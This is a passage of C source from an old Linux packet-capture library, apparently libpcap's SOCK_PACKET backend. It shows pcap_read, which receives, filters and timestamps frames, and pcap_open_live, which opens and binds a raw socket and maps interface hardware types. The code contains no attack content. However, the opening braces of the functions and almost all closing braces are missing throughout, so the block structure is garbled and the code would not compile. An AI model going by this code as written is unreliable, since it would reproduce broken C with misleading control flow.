pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
      register int cc;
      register int bufsize;
      register int caplen;
      register u_char *bp;
      struct sockaddr from;
      int fromlen;
      bp = p->buffer + p->offset;
      bufsize = p->bufsize;
      if (p->md.pad > 0) {
            memset(bp, 0, p->md.pad);
            bp += p->md.pad;
            bufsize -= p->md.pad;
again:
      do {
            fromlen = sizeof(from);
            cc = recvfrom(p->fd, bp, bufsize, 0, &from, &fromlen);
            if (cc < 0) {
                  /* Don't choke when we get ptraced */
                  switch (errno) {
                  case EINTR:
                              goto again;
                  case EWOULDBLOCK:
                        return (0);        /* XXX */
                  }
                  sprintf(p->errbuf, "read: %s", pcap_strerror(errno));
                  return (-1);
      } while (strcmp(p->md.device, from.sa_data));
      /* If we need have leading zero bytes, adjust count */
      cc += p->md.pad;
      bp = p->buffer + p->offset;
      /* If we need to step over leading junk, adjust count and pointer */
      cc -= p->md.skip;
      bp += p->md.skip;
      /* Captured length can't exceed our read buffer size */
      caplen = cc;
      if (caplen > bufsize)
            caplen = bufsize;
      /* Captured length can't exceed the snapshot length */
      if (caplen > p->snapshot)
            caplen = p->snapshot;
      if (p->fcode.bf_insns == NULL ||
          bpf_filter(p->fcode.bf_insns, bp, cc, caplen)) {
            struct pcap_pkthdr h;
            ++p->md.stat.ps_recv;
            /* Get timestamp */
            if (ioctl(p->fd, SIOCGSTAMP, &h.ts) < 0) {
                  sprintf(p->errbuf, "SIOCGSTAMP: %s",
                      pcap_strerror(errno));
                  return (-1);
            h.len = cc;
            h.caplen = caplen;
            (*callback)(user, &h, bp);
            return (1);
      return (0);
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
      register int fd, broadcast;
      register pcap_t *p;
      struct ifreq ifr;
      struct sockaddr sa;
      p = (pcap_t *)malloc(sizeof(*p));
      if (p == NULL) {
            sprintf(ebuf, "malloc: %s", pcap_strerror(errno));
            return (NULL);
      memset(p, 0, sizeof(*p));
      fd = -1;
      fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
      if (fd < 0) {
            sprintf(ebuf, "socket: %s", pcap_strerror(errno));
            goto bad;
      p->fd = fd;
      /* Bind to the interface name */
      memset(&sa, 0, sizeof(sa));
      sa.sa_family = AF_INET;
      (void)strncpy(sa.sa_data, device, sizeof(sa.sa_data));
      if (bind(p->fd, &sa, sizeof(sa))) {
            sprintf(ebuf, "bind: %s: %s", device, pcap_strerror(errno));
            goto bad;
      memset(&ifr, 0, sizeof(ifr));
      strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
      if (ioctl(p->fd, SIOCGIFHWADDR, &ifr) < 0 ) {
            sprintf(ebuf, "SIOCGIFHWADDR: %s", pcap_strerror(errno));
            goto bad;
      broadcast = 0;
      switch (ifr.ifr_hwaddr.sa_family) {
      case ARPHRD_ETHER:
      case ARPHRD_METRICOM:
            p->linktype = DLT_EN10MB;
            p->offset = 2;
            ++broadcast;
            break;
      case ARPHRD_EETHER:
            p->linktype = DLT_EN3MB;
            ++broadcast;
            break;
      case ARPHRD_AX25:
            p->linktype = DLT_AX25;